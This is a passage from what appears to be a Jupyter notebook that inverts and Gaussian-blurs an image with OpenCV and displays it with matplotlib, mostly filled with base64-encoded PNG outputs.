99+hKAP3D99xyAyrvcL1wlHX8CoHD9/48D+D2T2Ke3rcn8OgBfi6LoG1EUnQH4MVwlY068RFG0G0XRP7v+u4urVIunuGr/l64/9iUAv/P6b18CI4qiTwCwBMZEiXPuGYDfBuAvy8vvep+WAPx6AH8FAKIoOouiqIV3vF+4KcEyg5sSLBPXp7cNMk8BvJL/g2UhJl2cc+8D+FYAPwcgVgIDgJbAeBf6+hcA/AkAmhz1rvfpQwCHAP7qtRn4l51zRbzD/Yqi6DUAlmDZBdCOouinMIF9etsgk6ssxCSLc64E4G/iKkerk/bRwGsT1Vfn3G8HcBBF0ZfzfiXw2kT16VpmAPxaAP9TFEXfCqCPK1MiSSa+Xy5eguUJgKIbQwmWh5C3DTJ3LgsxCeKcm8UVwPxIFEV/6/rlfXdV+gJuTCUw3qB8O4Df4Zx7iSvT9Tc45/463u0+AVft3I6i6Oeu//8JXIHOu9wvX4IliqJzALESLMDk9Oltg8zPA/jYOfeBc24OV7WB//ZbblMucVe57n8FwFeiKPoheWusJTDepERR9ANRFD2Louh9XD2L/yuKot+Nd7hPABBF0R6AV865L16/9J0Afhnvdr/eSAmWscgEsOS/FVeema8D+FNvuz0jtPvfx5W6+S8B/Ivrn98KoAbgZwD8yvXvqnznT13386sAfsvb7kNG/74DN96ld75PAL4FwC9cP6//A8DKu94vAH8GwL8G8IsA/ldceY4mrk+PaQWP8iiP8qDyts2lR3mUR/mcyyPIPMqjPMqDyiPIPMqjPMqDyiPIPMqjPMqDyiPIPMqjPMqDyiPIPMqjPMqDyiPIPMqjPMqDyv8HHhqzNqHs/9MAAAAASUVORK5CYII=\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "blur_img = cv2.GaussianBlur(invert_img,(25,25),0)\n", - "blur_rgb_img = cv2.cvtColor(blur_img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(blur_rgb_img)" - ] - }, - { - "cell_type": "markdown", - "id": "31a4e4b9", - "metadata": {}, - "source": [ - "### Inverting and Bluring image" - ] - }, - { - "cell_type": "code", - "execution_count": 23, - "id": "f45ff86c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 23, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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